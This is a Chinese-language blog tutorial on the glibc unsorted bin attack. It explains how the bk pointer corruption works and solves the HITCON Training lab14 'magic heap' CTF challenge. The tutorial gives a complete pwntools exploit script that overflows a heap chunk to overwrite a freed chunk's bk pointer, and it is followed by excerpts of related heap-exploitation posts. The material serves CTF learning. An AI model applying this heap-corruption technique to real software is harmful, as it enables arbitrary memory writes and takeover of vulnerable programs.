Unsorted Bin Attack

在程序 malloc 时,如果在 fastbin,small bin 中找不到对应大小的 chunk,就会尝试从 unsorted Bin 中寻找 chunk。如果取出来的 chunk 大小刚好满足,就会直接返回给用户,否则就会把这些 chunk 分别插入到对应的 bin 中。

unsorted Bin Attack 的前提是unsorted Bin Chunk 的 bk 指针可控

我们可以修改bk(指向链表中下一个chunk)为 addr-2*size (size是一个单位大小,32/64程序为4/8)

来修改addr地址的值,能实现任意地址修改,但只能修改成较大的值

为什么是addr-2*size

一个完整的chunk

我们可以构造一个假的

如果我们修改链表中上一个chunk的bk指向addr-2*size 也就是prev_size

那么addr位置就对应到fd

当我们把上一个chunk拿走(其实是unsorted bin里面的最后一个,我们通过修改bk,构造了一个假的在其后,),unsorted bin 就会更新 进而将假chunk的fd更新为一个较大值

  unsorted bin的机制是 FIFO 即先进先出

  新的chunk放在链首位置,取出的时候从链尾开始遍历,直到找到大小符合的chunk,或者遍历完

  遍历过的chunk,如果没有被选中使用,就会转移到相应的bin中(也就是sorted了)

  unsorted bin以及其他类似的bin,可以看作是一个具有分类,标志性意义的chunk

  可以看出这里chunk的fd指针没有什么用,不过unsorted bin 链表可能就此破坏,如果再加入新的chunk到unsorted bin,就可能发生错误

所以假chunk的fd(addr)就会更新指向上上一个chunk的地址

因为unsorted bin的bk指向的是假chunk的上一个chunk 所以假chunk不会被遍历

然后讨论一下size的一些东西

size必须是2*SIZE_SZ的整数倍 ( SIZE_SZ 在32/64程序中为4/8)

不满足整数倍的size按小于size且最大的整数倍处理

所以不论是32还是64程序 size的低三个字节对size大小没有影响 且有特殊含义

它们从高到低分别表示为:

  NON_MAIN_ARENA,记录当前 chunk 是否不属于主线程,1表示不属于,0表示属于。

  IS_MAPPED,记录当前 chunk 是否是由 mmap 分配的。

  PREV_INUSE,记录前一个 chunk 块是否被分配。一般来说,堆中第一个被分配的内存块的 size 字段的P位都会被设置为1,以便于防止访问前面的非法内存。

题目

HITCON Training lab14 magic heap

目标是将magic的值改为大于0x1305

而且edit可以修改size

当所有bin里面都没有符合的chunk的时候,程序就会从topchunk里面分割相应大小的chunk出来

所以在程序开始我们连续申请chunk 得到的chunk地址应该是连续的

进而可以修改上一个chunk的size,content来修改该被释放的相邻位置的chunk的所有内容

代码中0x91的1就是最低位bit prev_inuse标志位

from pwn import *
io = process(‘./mag‘)
def add(size, content):
    io.recvuntil(":")
    io.sendline("1")
    io.recvuntil(":")
    io.sendline(str(size))
    io.recvuntil(":")
    io.sendline(content)
def edit(idx, size, content):
    io.recvuntil(":")
    io.sendline("2")
    io.recvuntil(":")
    io.sendline(str(idx))
    io.recvuntil(":")
    io.sendline(str(size))
    io.recvuntil(":")
    io.sendline(content)
def cut(idx):
    io.recvuntil(":")
    io.sendline("3")
    io.recvuntil(":")
    io.sendline(str(idx))

add(0x20,‘0x20‘) # 0
add(0x80,‘0x80‘) # 1
add(0x20,‘0x20‘) # 2
cut(1)

prev_size=0
size=0x91
fd=0
bk=0x6020C0-0x10
payload=‘A‘*0x20+p64(prev_size)+p64(size)+p64(fd)+p64(bk)
edit(0,0x20*2,payload)

add(0x80,‘0x80‘)
io.recvuntil(":")
io.sendline("4869")
io.interactive()

原文地址:https://www.cnblogs.com/lxy8584099/p/12046442.html

时间: 2024-10-19 01:05:21

Unsorted Bin Attack的相关文章

HITCON Training lab14 magic heap 堆技巧unsroted bin attack

目录 常规检查 逆向分析 create_heap 函数 edit 函数 delete 函数 main 函数 整体思路 利用过程 拿 shell get flag exp 脚本 内容来源 常规检查 逆向分析 -------------------------------- Magic Heap Creator -------------------------------- 1. Create a Heap 2. Edit a Heap 3. Delete a Heap 4. Exit -----

堆之*bin理解

在程序运行中,使用bins结构对释放的堆块进行管理,以减少向系统申请内存的开销,提高效率. chunk数据结构 从内存申请的所有堆块,都使用相同的数据结构--malloc_chunk,但在inuse和free状态,表现形式上略有差别. chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Size of previous chunk, if unallocated (P clear) | +-+-+

how2heap 源码及输出

备个份,慢慢写总结 1 first_fit 1 #include <stdio.h> 2 #include <stdlib.h> 3 #include <string.h> 4 5 int main() 6 { 7 printf("This file doesn't demonstrate an attack, but shows the nature of glibc's allocator.\n"); 8 printf("glibc u

有关于二进制漏洞和利用的碎碎念

有关于二进制漏洞和利用的碎碎念 划水作品 偷闲记录一下二进制方面的各种概念,各种原理,各种利用等等,方便过后查阅,也为之后的学习路线列一个大的框架,主要内容还是针对CTF中的pwn,实际漏洞也有这些方面,不过就需要花更多的精力慢慢硬磕了. 栈溢出 由于种种原因,这是本人学习时间最长的一种漏洞,学的时候还有乌云,学完... 栈溢出原理很简单,就是栈上的数据没有合理的被控制,从而使得输入数据超出它本应该在的范围,越界少的可能只是局部变量覆盖,多的就是劫持控制流,不同情况造成不同的后果. 栈溢出是二进

Kali下使用libheap

Kali下使用libheap 在github上,可以libheap用来帮助调试堆溢出.链接见:https://github.com/cloudburst/libheap 但是最后一次更新在一年前了,我直接拿着在Kali 2.0上使用时,会出错,比如: 我就对其进行了修改,保证可以在Kali 2.0下完美使用,32位和64位都可以使用.我的系统版本: 以后碰见其它Linux发行版,都可以对其修改.在不同的发行版之间,在malloc_state和malloc_par结构体中,稍微有些区别,只需要下载

0ctf2018 pwn

前言 对 0ctf2018 的 pwn 做一个总结 正文 babystack 漏洞 非常直接的 栈溢出 ssize_t sub_804843B() { char buf; // [esp+0h] [ebp-28h] return read(0, &buf, 0x40u); } 这个题的难点在于 用 python 启动了该程序同时过滤了 stdout 和 stdout #!/usr/bin/python -u # encoding: utf-8 from pwn import * import r

0ctf2017-babyheap

前言 又是一道令人怀疑人生的 baby 题. 这道题利用思路非常巧妙,通过 堆溢出 和 fastbin 的机制构造了 information leak, 然后通过 fastbin attack 可以读写 malloc_hook , 然后使用 one_gadget 来 getshell. 题目和 idb 文件:https://gitee.com/hac425/blog_data/tree/master/babyheap 正文 程序涉及的结构体 info 的结构如下,可以通过 allocate 功能

babyheap

64位程序,保护全开 #fastbin attack 程序逻辑 1 __int64 __fastcall main(__int64 a1, char **a2, char **a3) 2 { 3 __int64 v4; // [rsp+8h] [rbp-8h] 4 5 v4 = sub_B70(a1, a2, a3); 6 while ( 1 ) 7 { 8 printmenu(); 9 sub_138C(); 10 switch ( (unsigned __int64)off_14F4 ) 1

babyheap_0ctf_2017 堆技巧 fastbin-attack

目录 常规检查 逆向分析 Allocate 函数 Fill 函数 Free 函数 Dump 函数 利用思路 利用过程 get flag exp 脚本 内容来源 常规检查 逆向分析 ??程序有四个功能 Allocate:分配内存大小并给出 index Fill:输入 index ,并分配内存进行内容写入操作 Free:输入 index ,释放相应的内存空间 Dump:输入 index ,打印内容 Allocate 函数 分配的大小不能超过 4096 字节 (24LL i + a1):置 1 表示